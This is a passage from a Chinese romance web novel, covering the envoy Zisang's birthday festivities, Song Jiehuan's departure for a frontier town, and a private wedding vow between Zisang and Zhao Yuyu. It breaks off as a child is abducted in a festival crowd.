再说,死了就死了呗,也不是什么大不了的事。
这话他自然未对赵玉屿说,只搂着她的腰道:“玉儿,我厉不厉害?”
赵玉屿瞧他双眼含星,若是有尾巴都得摇上天,显然等着夸赞,有些好笑地摸了摸他的头发:“厉害厉害,子桑大人又聪明又能干,是这天底下最厉害的人。”
“不对。”
子桑却垂首贴着她耳朵低声道,“你还没试过,怎么知道能不能干。”
淫言乱语,淫言乱语。
赵玉屿面色通红:“你这个人真是”
自从看过那些小黄书,而今跟转了性子一样,成日想得都是些黄色废料。
比她还黄!
她伸手捏住子桑的脸:“你不是困了吗,睡觉!”
说罢,不等子桑动手动脚就将被子一把盖在身上,压紧四脚裹得严严实实不给他一丝可乘之机。
子桑见她如此决绝,嘟囔着嘴卖惨:“我没被子了。”
赵玉屿探出毛绒绒的脑袋:“我瞧你你成日心火烧得旺盛,不用被子也能睡。”
听她揶揄,子桑鼓着脸赌气不盖被子敞开了怀睡。
过了半晌,耳边淅淅索索响起细响,他感到身上一重,焐热的被子盖在了身上,纤细的胳膊罩过他的胸膛,为他细心掖好被角。
子桑阖眼并未睁开,黑夜中嘴角却扬起,转身抱住身旁温软的少女。
怀中的姑娘略微折腾几下,便也任由他抱着,脑袋挨着他睡去,不一会儿便呼吸匀称。
子桑睁开眼,隔着床帘的微弱烛光望向少女莹润的侧脸,娇俏的鼻尖随着呼吸细微起伏,披散的发梢和肩弯里散着淡淡暖香。
他微微歪头,将脸埋在她的肩弯里安然睡去。
就连梦里都是香软温热,暖和和的。
第95章
圣上中毒之事因当夜封锁消息而鲜有人知,众人只知晓太子自那日之后整日待在东宫闭门不出,朝政、宴会概不参加,只以为他是脚伤未愈需静心修养。
虽有人探出些苗头,但皇家之事复杂多变,也并未多言,皆在观望。
接下来的一段时间朝堂风平浪静,奉仙宫和帝都倒是忙碌了起来。
再过些日子便是子桑十九岁的生辰。
往年子桑对过生辰这件事并不热衷,甚至厌烦,每年生辰当日都只待在摘星楼内自处。
原本众人都以为今年也一如往常,只是圣上一头热得操办,没成想抚鹤神使这次倒是很有兴致,亲自传信给圣上要大操大办,举国同庆。
圣上听到这话自然大喜,特命礼部以最高礼待操持生辰宴,不仅朝堂摆宴,帝都官宦权贵各门各户皆需敞门捐善,筹集的善款在帝都长街大摆三日流水宴,各州县开仓放粮,与民同乐。
这是新任礼部侍郎上任后的操持的第一个庆典,赵谦整日忙得脚不沾地,生怕出了纰漏。
几番踌躇后,还是派人打点了张嬷嬷给赵玉屿传信,想知晓些神使的喜好,好生操持。
赵玉屿原是不想理会的,但这些日子瞧见子桑似乎对生辰当日大有期待,就细细回了信,给赵谦出谋划策,写了些能哄子桑开怀的点子。
赵谦拿到书信大喜,心中也多了些底气,只觉得这个女儿虽然面上冷淡但心中还是记挂着赵家的,否则不会接连帮助他度过难关。
不多日,帝都各处张灯结彩,红绸飘扬,因知晓神使喜好,能工巧匠用翻糖雕刻了各种动物雕塑摆置在帝都大街小巷,光是熬制糖浆便花费了十万两白银,整个帝都都都飘散着淡淡的桂花甜香。
德仁帝还特命工匠用纯金锻造雕制了一座高达十九米的双鹤献寿像献于抚鹤神使。
奉仙宫更是异常热闹,像是落入红海之中,楼台殿宇皆是红灯红绸红剪纸,摘星楼红烛常明,每一层都挂上了大红灯笼、六角檐铃。
花园假山、草坪庭院、高台回廊,随处可见扎成各色动物形状的绸缎灯笼。猴子捞月、三羊追戏、龙腾虎跃、鱼跃鸟飞、蟾宫玉兔,白日里绸缎灯笼在阳光下流光溢彩,熠熠生辉,等到晚上便如明月坠地,夜珠幻梦,甚至可以被摆出不同姿势,皆是巧夺天工,栩栩如生。
若水坊的老槐树上系满了红绸,长风拂过,红绸浮动,倒有些像是后山上那棵挂满了愿望的姻缘树。
赵玉屿拿着行程册敲响了宋解环的房门:“宋姐姐你在吗?明日生辰庆神使大人的行程定下了,我给你送来一本。”
没一会儿,宋解环的房门打开,却漏出了一双红肿的眼。
瞧着宋解环明显哭过的脸,赵玉屿惊讶道:“宋姐姐,您怎么了?”
宋解环撑起一个勉强的笑容:“没什么,只是家中送了信来,我瞧着有些感伤罢了。”
赵玉屿扶着她进了屋,给她拧了凉毛巾捂眼消肿:“不会是又让你嫁人吧。”
宋解环摇了摇头,坐下道:“不是。”她默了默,“是我想离开帝都。”
赵玉屿听到这话也是愕然:“离开帝都,怎么突然想离开帝都了,宋姐姐你要去哪啊?”
宋解环道:“我想去石杉城。”
石杉城?
“那不是边陲重镇吗?”
宋解环点点头:“是,那是南钦曾今驻守的地方。”
南钦,赵玉屿记得宋解曾今同她说过,是她心悦之人的名字。
提到这个名字,宋解环眼神柔软如水:“南钦说过,那里的百姓善良淳朴,英勇无畏,为了保家卫国可将生死置之度外。他儿时在那里成长,长大后也想回去为国驻守,护一方平安。”
宋解环眼角微红,却笑道:“玉儿,那日你问我想不想离开帝都去看看外面的世界,从那之后我便一直在想,我究竟想去哪里,想要过怎样的生活。在奉仙宫的这些年虽然衣食无忧,清净度日,可我只是在逃避,逃避爹娘、逃避未来、逃避南钦已经离去的事实。而今我想清楚了,我想去看看南钦以前生活的地方,去看看他心心念念想要守护的百姓,如果我也喜欢那里,我便定居下来,同南钦一样,竭尽所能去守护那里的一切。”
赵玉屿握住她的手:“宋姐姐”
宋解环嘴角有些苦涩:“我娘回信说爹爹知道这事后气病了,齐小侯爷已打算等神使生辰后便向圣上求旨赐婚,若他当真求旨,不论圣上答不答应,我都不可能再出帝都了。”
宋解环如今是神使侍女,要么圣上格外开恩将她赐给齐小侯爷为妻,要么以终身侍奉三清上神为由驳斥求婚,那么宋解环一辈子都只能被困在奉仙宫。
赵玉屿思忖片刻,确问道:“宋姐姐,你当真想离开帝都吗?”
见宋解环颔首,赵玉屿一笑:“你是奉仙宫的人,不论你是去是留,都该由奉仙宫做主,便是圣上也不能越过奉仙宫随意处置你的去处。”
她拉起宋解环的手:“走,咱们现在就去找神使大人商量。”
听到要去见神使,宋解环停住脚步有些害怕。
赵玉屿见她犹豫,按住她的肩膀耐心道:“宋姐姐,你从小锦衣玉食,边陲的生活势必是要比帝都苦上不少,也会遇到很多很多或许你以前从未经历过但必须要解决的麻烦事。如果你连面见神使大人都害怕的话,那未来的路或许会很艰难,离开帝都的事情我觉得你还需要再斟酌斟酌。”
宋解环听到这话眼眸微垂虚闪片刻,而后深吸一口气,笃定了勇气,握住赵玉屿的手目光坚定道:“我同你去面见神使大人。”
*
“你想离开奉仙宫?”
水榭庭台中,子桑慵懒靠坐在小榻上欣赏着池塘中轻舞的水禽,听到宋解环颤颤巍巍的话,斜眸睨了她一眼。
那一眼冷冽又嘲弄,让宋解环浑身一僵,忍着惊惧跪地叩首道:“求神
使大人成全小女!”
半晌,子桑并未有声响,宋解环鼓足勇气缓缓抬起头朝上望去。
小榻边沿,猴大正捧着子桑修长的手指,给他细细涂上一层红色蔻丹。
见宋解环看过来,猴大深黑硕大的双眼缓缓转向她,猝然朝她龇开一口獠牙。
宋解环吓得脸色苍白,赵玉屿已经一巴掌抡到它脑袋上:“又欺负人!不是说过以后不准随意欺负人吗!”
猴大被她拍得眼神顿时清澈,虽不服气,却虚着眼不敢看她,只敢缩着脑袋鼓起腮帮吹匀蔻丹。
它也知道今非昔比,自家主人如今是不会替它撑腰的。
赵玉屿这话虽是在斥责猴大,子桑却听出了指桑骂槐的意思,顿时清了清嗓子吩咐道:“起来吧。”
“谢神使大人。”
宋解环依言起身,却依旧垂首立在原处等待他发话。
子桑瞧着她那畏畏缩缩的模样就厌烦得很,将赵玉屿拉到身旁道:“你既是本尊的内殿侍女,又曾在三清上神面前立誓终身侍奉,想要恢复自由身是绝无可能的。否则岂不是视三清上神如无物,又置本尊的颜面何在。”
宋解环听到这话,苦涩一笑:“是,小女知错。”
果然,神使大人如何会因为她一介小女费心。她当初既然选择了入奉仙宫,便该想到这个结局。
赵玉屿听到这话,狠狠掐了下子桑的手心,瞪了他一眼,子桑顿时坐直身子接着道。
“不过,本尊听闻边陲之地向来轻薄教法,粗蛮无礼,你既深受道法浸润多年,又在本尊身旁侍奉良久,颇有小成,本尊特命你前往边陲传教自然道法,广播善缘,为民祈福。”
宋解环怔住,而后连忙跪地叩首喜道:“多谢神使大人,小女愿以毕生所学传授众生!”
子桑淡嗯一声,疏懒道:“明日出发,不得有误。”
赵玉屿见他当下就要让宋解环走:“会不会太急了,明日便是你生辰了,至少等大家一起过完生辰再走啊。”
子桑却不依,朝宋解环淡声威胁道,“你若答应,当下本尊便修书一份传于地上皇,你若不答应,那索性这辈子都别走了。”
宋解环听到这话不再犹豫,下定决心道:“多谢神使大人恩赐,小女定不负神使大人所托,明日一早小女便启程前往边陲。”
宋解环离开后,赵玉屿捶向子桑:“你这么着急赶宋姐姐走做什么?”
子桑解释道:“本尊是在推她一把。夜长梦多,若那齐小侯爷真敢向老东西求旨赐婚,从我的手里抢人,那他必定不是个轻易放手的人,谁知道他会不会再整出什么幺蛾子。”
子桑微微一笑,他早就想将这个成日缠着玉儿的碍事东西铲除了,如今她自己要走,他自然乐得开怀不会放过这个机会,恨不得当下就将她给丢出奉仙宫。
赶紧走,走得越远越好。
子桑说得倒也有道理。
赵玉屿叹了口气:“那明日一早我先去送送宋姐姐,她必定是要去找宋大人他们告别的,还不知道会出什么事情呢。”
子桑眉头一蹙:“不准去。”
赵玉屿早已习惯他的醋意,抱着他的脖子哄道:“好啦,宋姐姐要去那么偏远的地方,说不定我同她只能再见这最后一面了,明日一早我去送她,肯定不会耽误你的生辰的,还有”
赵玉屿指着他红艳艳的十个指甲不解道,“你为什么突然染个大红的指甲?”
瞧着怪变态的。
子桑翘起手指,弯了嘴角含笑望向她:“大喜的日子,自然要有些喜意。”
第96章
行吧,尊重个人爱好。
而且子桑肤白手长,指甲圆润,涂上红色的蔻丹的确格外醒目好看,同明日生辰的红衣也很是相称。
这次生辰子桑并未让她制作喜服,而是全权交给了织锦司。
赵玉屿虽不用设计衣裳,却也并不清闲,明日所有的流程皆需她过问,虽说无需设宴,但光是晨起祭祀,午间游车,还有晚上的烟火大会也让她忙得脚不沾地。
直到入夜赵玉屿才回去休息。
不知为何,子桑今晚倒是没缠着非要同她一块睡,赵玉屿也乐得自在。
回到若水坊,宋解环的房间虽灯火通明,却仿佛与屋外的世界相隔,静静地一盏长灯点燃,星光布满院落。
赵玉屿敲响房门,宋解环打开门见是她来了,笑着道:“快进来吧,我正在收拾东西呢。”
赵玉屿瞧着她只卷了几个包袱:“宋姐姐,你明日就带这么点东西出发吗?”
宋解环打开一个木箱:“还有这些,这些都是我素来喜爱的书籍画卷,这些年未曾离身,也要带去的。”
赵玉屿看着满满一大箱子的书,和一旁相比之下少得可怜的几包衣服,挠了挠脖子干笑道:“宋姐姐,可你是要出远门啊。
虽说会有随行的侍卫将你护送到石杉城,但到那之后一切就得靠你自己生活。边陲那边物资匮乏,前期立足自然是需要银钱傍身的。”
看着宋解环懵懂的脸,显然未曾想到这些问题。
赵玉屿叹了口气,毕竟是自小养在深闺的大小姐,生活里只有琴棋书画,哪里知道柴米油盐。便是有股冲破藩篱向天生长的勇气,却没有扎根大地、吸食雨露的经验。
赵玉屿撩起袖子搬出一个空箱子,边给她放置东西边耐心解释道:“西北那边长年风沙,夏热冬冷,防风防沙防寒的衣服都得带上;天气干燥,你刚去必定身体不适应,护肤的油乳和润肠通便的补药必不可少;那边的食物大多是牛羊肉,你不一定吃得惯,我给你找了些蔬菜种子,都是好种养的,绿色护眼好看又能吃,你在那闲来无事的时候可是尝试种种,打发时间。
还有一些食谱和刺绣图集,也是帮你打发时间的,这些说不定都能用得上。”
赵玉屿从袖子里掏出一袋鼓囊囊的信封递给她,“最最重要的是,出门在外怎么能不带钱呢。这里呢是我这几个月的月例,反正我也用不到,就换成了银票了,都给你,你可别嫌少啊。还有你那些金银首饰啊,该带的都带上,又不占地方关键时候还能换钱的。”
宋解环捏了捏信封,打开抽出里面的一个玉扣。
赵玉屿笑道:“这个是我自己做的平安扣,希望你一路平安,万事顺遂。”
宋解环握住玉扣,莞尔一笑:“玉儿,谢谢你。”
*
翌日清晨,夜空刚泛起一丝微弱的白意,清冷的小巷内蓝雾濛濛,一辆马车从晨雾中驶来,穿过小巷停在一处双狮镇宅高牌大匾前。
马车夫放下小凳,打开车厢,从车里里下来一个穿着鹅黄色迎春团绣半袖和烟蓝长裙的姑娘。
车帘撩开,赵玉屿朝宋解环道:“我在这等你。”
宋解环点点头,提裙走上台阶,敲响了狮门环。
片刻后朱门便从里面打开,门内的小厮见了三年未见的宋解环并不惊奇,弯腰迎了她进去,低声道。
“小姐,老爷昨夜收到圣旨整宿都没睡着,如今和夫人都在会客厅等您呢。”
宋解环听到这话下意识攥紧手中的帕子,随着小厮的引领穿过长廊到了会客厅。
刚进院门,就见一位两鬓斑白的妇人站在屋内翘首以盼,见了她顿时欢喜地快步迎上前拉着她的手左看右看,又喜又悲泪眼道:“我的环儿比离家时瘦了不少,娘这些年都没好好瞧瞧你。”
宋解环也红了眼眶落下泪珠扑到宋夫人怀中哽咽:“娘。”
两人执手落泪,却听到屋内传出一声冷哼。
宋解环擦了擦眼泪,搀扶着宋夫人走进屋里。屋中主位上一位面容清峋的老者正坐其中,虽眉须皆白却精神矍铄,目光凌厉,腰板笔挺。
宋解环朝他行了一礼:“爹爹。”
宋大人从喉咙里发出一声冷笑:“不敢,你眼里有过我这个爹吗。”
宋夫人见气氛僵硬,连忙打圆场:“女儿这些年好不容易回家一趟,你就别同她置气了。”
宋大人指着宋解环驳斥道:“是我同她置气吗?分明是她非要气死我!我给她安排的锦绣前程她不要,非得去奉仙宫给人家为奴为婢,不知道得还以为是我们宋家上赶着要去逢迎神使攀高枝!人家齐小侯爷等了你三年,宁愿冒着得罪神使,被圣上斥责的风险也要求旨娶你,你倒好,宁愿去边境待一辈子都不愿意要这桩好姻缘!”
他越说越急,气得脖胀脸红:“我就不明白了,你就算去边境又如何?南钦便是再好他也已经不在了,这些年你总该放下了吧,为什么就是跟自己过不去呢!”
宋夫人也落着泪珠劝道:“是啊环儿,你爹虽然气急,但说的话在理,那边陲之地又苦又远,你自小在帝都长大,锦衣玉食从未吃过苦,如何能受得了那种地方。齐小侯爷一表人才,待你也是一心一意,与咱们家也有亲缘,是知根知底的。他这些年未曾抬过妾室通房,只想着等你回来成亲,你为什么就是不愿意呢?”
宋解环忍着泪:“爹,娘,我当初入奉仙宫是因为不想在南钦尸骨未寒之时便另嫁他人。如今我去边陲,是因为我想要去找寻自己想要的生活。我不想被困在回忆里,也不想在奉仙宫浑浑噩噩度过一生。”
“你想要的生活?”宋大人气笑了,“好好好,锦衣玉食你不想要,众星捧月你也不想要,你究竟想要什么?!”
宋解环望向他:“爹,我去边境是因南钦而起,却并不仅仅是因为南钦。自小南钦便同我说起他的家乡,从那时起,我的心愿就是能同他一起驻守边疆,去帮助更多的人,为大雍的和平与安宁出一份力。这是南钦在我心里种下的种子,也是我多年来一直心心念念的夙愿。就算南钦不在了,但我的夙愿未曾更改。如果我不去,我会后悔一辈子。”
宋大人连连摇头,捣着拐杖叹道:“可你只是一个弱女子,肩不能扛手不能提,这些事情自有男儿去做,你就算去了那里又能做什么?”
“天生我材必有用,就算我只是一个女子也定有能做的事情。”宋解环目光不移动,“我会刺绣,会写字,会作画作曲,不会的东西我也可以学,既然这世上能有行走江湖悬壶济世的女神医,就能有自食其力、凭借自己双手而活的宋解环。”
宋大人将拐杖猛然敲地:“你,你真是不识好歹!”
这番话说出口,宋解环一直紧绷的心弦反而松了下来,她朝宋大人和宋夫人跪下,端端正正三叩首:“爹,娘,女儿未能在爹娘面前尽孝,辜负了爹娘的苦心,但不论女儿日后在何处,都会为爹娘祈福,求三清上神保护爹娘平安。”
她深吸一口气,红着眼起身道:“爹娘保重,女儿走了。”
宋夫人捂着帕子泪如雨下,望向宋解环离去的背影,忍不住追到宅门目送她离去。
宋解环朝她含泪一笑,转身下了台阶,没想到宋大人竟也追出门来,望着走向马车的宋解环哀声痛喊。
“环儿,爹都是为了你好,你为什么就是不肯听爹的话!”
宋解环转身望向站在宅门前的爹娘。
三年未见,他们苍老许多,宋解环印象中的爹爹总是严厉肃穆,而今他的背却也微微弯驼,面上皆是疲惫、痛惜和哀戚。
宋解环忍着泪,却粲然一笑:“爹,我知道你们是为了我好,可我有自己的路要走,爹娘保重。”
她转身上了马车,脚下微顿,回眸最后望了一眼朱门前相互搀扶的爹娘,而后撩起车帘入了马车。
赵玉屿看向眼眶发红、香腮滑泪的宋解环,握住她的手轻声道:“不再看一眼吗?”
宋解环摇了摇头,哽咽道:“不看了,越看越舍不得。”
赵玉屿弯腰搂起来福的前腿搭在宋解环膝上道:“来福来福,宋姐姐心情不好,快哄哄宋姐姐开心~”
来福嗅到宋解环的味道,喉咙里发出一声低吼,宋解环身子微僵,也顾不上哭了,哂笑着朝旁边小心翼翼挪了挪腿:“玉儿,我好多了,还是让它好好休息吧。”
赵玉屿见转移了注意力,笑着拍了拍来福的脑袋,来福顿时挪下爪子,重新趴回地上休息。
马车微微摇晃,赵玉屿道:“宋姐姐,你到了石杉城后记得给我写信。”她有些感伤,“咱们此去一别还不知能不能再相见。”
离大结局只有一年时间,今日或许也是她们的最后一面了。
宋解环握住她的手柔声道:“玉儿,你若是有一天想要离开帝都却又不知道去哪的话,就去石杉城找我,那里有我的家便也永远是你的家。”
宋解环笑了笑,接着道,“玉儿,还记得你同我说过,人生得意须尽欢。若我当初听到这话,或许就没有那么多的遗憾。每每午夜梦回,我都在后悔自己当初没有多同南钦说说话,他离开那日因为同他置气没有前去送他,我也总是在想,南钦离世时会不会怨我、气我。”
她嘴角有些苦涩,“南钦是我无法弥补的遗憾。玉儿,人生苦短,要珍惜当下,不要留下遗憾。”
赵玉屿微怔,随后缓缓点了点头笑道:“嗯,我知道。”
车厢外从清冷到人声鼎沸,赵玉屿撩开窗帘瞧着马车缓缓驶过的热闹早市:“快到城门了,宋姐姐,我只能送你到这里了。”
她瞧着宋解环,总像是瞧着初出家门不谙世事的孩子,也难怪宋大人和宋夫人不放心,连她都有些担心,忍不住多嘱咐两声,“侍卫会护送你离开,记得身上各处都藏些钱,最好袜子里也藏些,路途遥远,以防万一。”
宋解环笑道:“我知道。”
她下了马车,却见城门候着的车队旁还停着另外一辆车。
见了她,车厢里跳下来一个身着紫金长袍的高马尾少年,朝她大步走来:“环姐姐。”
宋解环瞧见他一愣:“小侯爷,你怎么来了?”
齐守常笑道:“我特奉圣命,同你一块去石杉城。”
宋解环面色为难,齐守常却道:“我在帝都也待腻了,祖母又成日催我成亲烦得很,便想出去躲一躲,所以才特意求了圣上让我一同前去。”
他指了指候在城门口的侍卫,“一路上咱俩也能做个伴、聊聊天,总比同那几个闷木头待一路要好吧。”
宋解环面色微缓,齐守常自小被骄纵得霸道惯了,如今又是圣上下的旨意,她也不能拒绝,只道:“随你。”
说罢便自顾自走向车队。
赵玉屿在车上看得真切,这齐小侯爷也是个死缠烂打的主,但有他在,到的确放心些。
赵玉屿撩起车帘,朝齐守常道:“照顾好宋姐姐。”
齐小侯爷朝她抱了抱拳一笑,转身朝车队跑去,却径直跳上了宋解环乘坐的马车。
车队缓缓启程,马蹄哒哒,穿过坚厚黑沉的城门向绿意葱葱的城外驶去。
长长的驿道逐渐收窄,最终将颠簸的马车缩成一团黑点,融入耀眼的碧蓝天光。
“一路顺风。”赵玉屿轻声道。
第97章
似乎感觉到了赵玉屿心情低落,来福起身扬起前脚搭在她的膝盖上。
赵玉屿揉着它的脑袋笑了笑:“来福,你说我和宋姐姐以后还能再见面吗?”
来福没有回答,赵玉屿垂下眼眸,喃喃道:“应该是见不到了吧。”
只希望宋姐姐日后万事顺意,能找到她真正想要的生活。
收拾好心情,赵玉屿旋即扬起嘴角,捏起来福毛绒绒的脸蛋欢快道:“好啦,今天是子桑的生辰,我们要开开心心的给子桑过生日,珍惜当下!”
马车再次启程朝奉仙宫驶去。
赵玉屿撩开窗帘朝长街望去,大街小巷挂满了灯笼彩绸,各家各户都在忙活,随处可见的动物雕塑和彩球,就连街上卖糖人的小贩都多了起来,孩子们吃着糖人到处乱窜,整个帝都都是暗涌之上的一派祥和,像是飞上碧空的透明泡泡,看似流光溢彩,实则脆弱到一戳即破。
而一年之后的那场宫变,却让帝都一夜之间变成了人间地狱。
那座冰冷的皇位,是压在谎言和尸骨上的坟碑。
回到奉仙宫,马车却径自
穿过宫门驶入了鹤羽阁。
赵玉屿瞧着鹤羽阁大敞的阁门有些奇怪:“怎么到这里来了?”
马车夫道:“神使大人吩咐,玉儿姑娘若是回来,便将您送到这里。”
赵玉屿听到这话,牵着来福走了进去。
阁楼内空空荡荡,并未见子桑也未见到其他神侍。
“子桑大人?”
未有人应。
赵玉屿有些奇怪,绕过高台宝座走到后面。
里殿是子桑休息的地方,却也并未见到他的身影,赵玉屿原想出去,却瞥见屏风后的衣架上挂着的一件彩衣。
子桑的衣服虽也多是花里胡哨,但那件衣服的衣型瞧着并不像男装。
她走上前端详,这是一套丽圭襂,朱红为底,百鸟祥云团金绣边,素白圆领里衬,红白相间高腰襦裙胸系云山蓝金蝴蝶带,朱红蓝边披肩大袖上绣桂树望月双鹤呈祥团金纹,腰垂红水晶坠金玉流苏,脖戴东海白珍珠串并红宝石璎珞,珠翠罗绮,华裾鹤氅,奢靡瑰丽,如仙人之服。
她伸手抚摸着衣襟上的嵌紫珠流光纹,这件衣服她之前从未见过。
来福忽而嗅了嗅鼻子,赵玉屿凝望着衣服没有留神,而后背后一暖,身后拥上一个温暖结实的怀抱。
子桑将头靠在她的肩弯里轻声问道:“喜欢吗?”
赵玉屿愕然,偏头道:“给我的?”
她转身望去,子桑已经换上了游街的礼服,朱红底蓝金边,同衣架上的很明显是一套。
子桑颔首:“玉儿,我知道同我在一起你有很多的顾虑。”
他微垂眼眸,声音有些苦涩,“我命数浅薄,本是无福之人,也未曾祈求上天垂怜。但玉儿,你既答应陪我到最后便不能反悔。我不求你余生时时刻刻念着我,但至少现在你只能看着我,想着我,这是你答应过我的。”
他握紧赵玉屿的手,像是抓着救命稻草:“今日是我的生辰,至少今日,就当做是我们的婚礼,即使不拜天地,不饮合卺,不入洞房,无人相祝,但至少我知道你是我的妻子,好不好?”
话至最后,他的声音微抖,睫毛轻颤却不敢望向赵玉屿,像是等待着她的审判,又像是祈求着她的爱怜。
赵玉屿望向他轻颤的睫毛,知晓他心中的哀戚和胆怯,也知晓他的自卑和敏感。
她抽出手,子桑呼吸微滞,双手瞬间僵住,不安地想要抓住她的手却又唯恐惹了她厌烦。
下一秒,赵玉屿已经穿过他的双臂扑入他的怀中,紧紧抱住他。
“子桑,我是喜欢你的。”
她缓缓道,“我说只喜欢你,不是约定,是真心。虽然你没有那么正义那么善良,有时候很自私,心黑嘴又毒,下手没轻重,可我的确喜欢上了你。”
子桑紧紧抱住她的腰肢回抱住她,听到赵玉屿的话,埋着头似哭似笑,闷声轻道:“我有那么坏吗?”
赵玉屿看不到他的脸,却听到他声音里的颤抖,她语气故意轻扬:“对啊,你可坏了,当初怎么整我的我可都还记得呢。”
子桑抽噎微顿,有些心虚的呜咽一声。
赵玉屿缓缓道:“可是子桑,感情有时候就是那么奇妙那么不讲道理,你同我想象中的子桑大相径庭,但我却情不自禁地喜欢上了你。之前我害怕短暂的幸福会是坠入深渊的推手,所以不敢交付真心,但宋姐姐说的话点醒了我,人生苦短,珍惜当下。我们的相爱拿得出手,即便未来不能相互陪伴,即便以后孤身一人,但爱可以疗伤,美好的回忆可以止痛,只要记住当下的感受,记住曾今有人全心全意的爱过你,那至少未来的漫漫长日就不会那么孤单了吧。”
子桑紧紧抱住她,良久哽咽道:“嗯。”
赵玉屿退开身子,转头望向衣架上华丽的长裙笑道:“今日便是我们的婚礼,满城红绸皆为祝祷。”
她换上华服,朝子桑道:“我们既无高堂,不信天地,那便只需夫妻对拜,从此相思有意情如海,只愿君心似我心。”
她笑意盈盈,颂词朗朗出口。
子桑深深望向她,学着她的样子,双手齐眉,俯身一拜至底。
从此结发为夫妻,恩爱两不疑。【1】
礼成,赵玉屿拉着子桑的手:“如此我们便是夫妻了。子桑,不论未来身处何处,不论我们相隔多远,哪怕时间所不能及,哪怕跨越山河不能至,我都不会忘记你。”
子桑听着她的话,嘴角微微扬起,眼眶发红:“我也是,不论将来我变成什么,就算化作风霜雨露、落叶初晨,我都会回到你身边。”
宝马香车临门而立,八马拉驾,花团簇拥,整块金丝楠木一体雕凿,万兽朝拜,百禽环飞。
子桑扶着赵玉屿齐坐在狐绒宝座之上,众人瞧见虽讶然,却并不敢多言。
礼乐开道,红幡飘扬,花车斗彩,舞女拟鹤而舞,身姿翩然,早早候在长街两侧的百姓望见车辇,顿时排山倒海般齐齐高呼祝祷,两侧楼宇撒花飘彩,将长街的欢愉淹没于一片粉意。
酒楼二层,同何附子夫妇前来看热闹的淳儿瞧见花车里熟悉的身影,原本放空的双眼发出亮光,抻头努力地朝他们招手:“是玉儿玉儿姐姐和大哥哥。”
何附子走到窗边望去,笑道:“是他们,当真是一对金童玉女。”
裴元若搂着她的腰肢也笑道:“我一早就瞧出神使看玉儿姑娘的眼神与旁人不同。”
何附子嗔怪:“还用你瞧,傻子都看得出来。”
花车里赵玉屿透过欢闹的人群似乎听到一道稚嫩而熟悉的声音,她抬头望去便瞧见二楼窗台里的何附子她们,顿时弯了眉眼,粲然一笑。
“是淳儿他们。”
她拉着子桑的衣袖道,“淳儿看起来过得很好呢。”
子桑今日难得的好心情,瞥眼望去,也轻哼笑道:“这丫头看起来痴傻,没想到还记得咱们。”
赵玉屿抿嘴一笑:“看来何姐姐与淳儿相处得很好,我也放心了。”
楼上裴元若不知贴在何附子耳畔说了什么,瞧着何附子娇羞的神色,赵玉屿又感叹道:“你们两个把日子过好比什么都重要。”
可别让那个阴暗爬行的狗太子搅和了美好生活。
子桑听到这话,伸手捏着她的下巴将她的脑袋扭回来:“不准再瞧他们了,瞧我。”
赵玉屿见他吃醋,连忙哄道:“好好好,我们神使大人形容清俊,我怎么瞧都瞧不够呢。”
子桑对这话倒是极为受用,眉眼飞扬,吹了声口哨。
就见长街沿街的楼顶上跳上一群猴子们,皆拖着一包鼓囊囊的袋子。
打开袋子,是成堆的金币。
猴大它们捧着金币朝四下洒出,引起阵阵惊呼。
金灿灿的金币抛洒而出,在阳光下熠熠生辉,如同明媚愉悦的心情。
子桑朗朗笑道:“今日大喜,普天同庆。”
第98章
入夜,一声唆响入天幕,骤然炸开满城绚烂烟花。
今日神使寿辰,堪比国宴佳节,家家户户都喜气洋洋,孩童拎着烟花灯笼满街乱窜,捂着耳朵点燃冲天炮花。
长街上人山人海,灯火通明,何附子同裴小侯爷两人牵着淳儿的手相伴而行。
原本按照惯例他们是要去参加宫宴的,但神使并未参加晚上的宴会,圣上虽遗憾却也尊重神使的意愿。
如此他们晚上无事,街上又热闹非凡,见淳儿一直趴在窗口看烟火,裴小侯爷便索性带他们一道上街玩儿。
淳儿两只眼睛瞧着满街喧嚣的人群和漫天烟花有些看不过来,忽而一群孩子从人群中弯腰蹿出,领着灯笼从他们身侧嬉笑打闹着跑过。
淳儿的目光跟随着他们的蹦蹦跳跳的欢快身影凝望很久,直到他们消失在街道尽头也并未回神。
何附子感受到她的出神,关切道:“淳儿怎么了?”
淳儿收回目光,缓缓摇了摇头:“以
前,我也放烟花,和阿怀阿娟他们一起。”
何附子之前听淳儿提及过她家乡的朋友们,然而她的家人和朋友们都已葬身在当初的那场瘟疫之中。
何附子抱住她的肩膀轻轻安抚,一旁的裴小侯爷不知何时已经在街边的小贩那买来了一大捧烟花。
他点燃其中一根烟花棒递到淳儿手中,星光闪烁般的耀眼金光在眼前如泉如涌,淳儿的眼睛睁圆,一动不动的盯着黑夜中绚烂的花火。
裴小侯爷蹲下笑道:“淳儿,等爹爹娘亲以后生了弟弟妹妹,让他们同你一起玩好不好?”
何附子听到这话面色一红,轻推低声道:“跟孩子面前说什么呢?”
反而淳儿用力点头:“嗯嗯!”
裴小侯爷朝何附子笑道:“你瞧,淳儿也想要弟弟妹妹们呢,咱们可不得多努努力。”
何附子嗔怪啐了他一口:“多大人了,没个正经。”
裴小侯爷一手抱着大捧的烟花灯笼,一手拉着淳儿,同何附子将淳儿一左一右护在一群里笑道:“走,咱们放烟花去!”
淳儿眼前一亮:“好!”
三人在人群里穿梭,四周的摊位人群在黑夜中如走马灯般飞快闪过,将这一刻的欢笑欣喜印在记忆的灯面上。
忽而,拥挤的人群涌来,一个孩子不小心撞到了何附子身上,何附子低呼着手一松,那孩子也随身跌倒在地。
人群熙熙攘攘,何附子连忙弯腰将孩子扶起拉到一旁的摊位前柔声道:“没事吧?”
那孩子摇了摇头:“谢谢姐姐。”
何附子笑着摸了摸他的头,再抬眼望去,攒动的人群中早已不见了裴小侯爷的身影。
何附子一边被人群推着朝前走,一边高喊着他们的名字。
“元若,淳儿,你们在哪?”
裴小侯爷似乎听到了声音,回首望去却瞧不见何附子的身影,连忙护着淳儿回身去找。
然而人群拥挤,皆是朝着长街尽头的广场涌去,何附子四下寻不到人,便离开人群去一旁的酒楼二楼从高处眺望寻人,也容易被裴小侯爷他们发现。
上了二楼,她站在露台边朝下望去,很快便瞧见回身来寻自己的裴小侯爷,顿时朝他招手喊道:“元若,我在这里。”
裴小侯爷瞧见她,眼前一亮,连忙拉着淳儿朝酒楼走。
然而随人群逆行走得愈加艰难,淳儿被挤得左倒□□,很快便被撞得脱了手淹没在人海中,被一人抱走。
裴小侯爷手上忽然一痛,下意识松开手,再转身便不见了淳儿的身影。
酒楼上的何附子瞧得真切,见淳儿被人贩子抱走了,连忙指着淳儿离开的方向朝元若大喊:“元若,快去找淳儿,淳儿在那!”
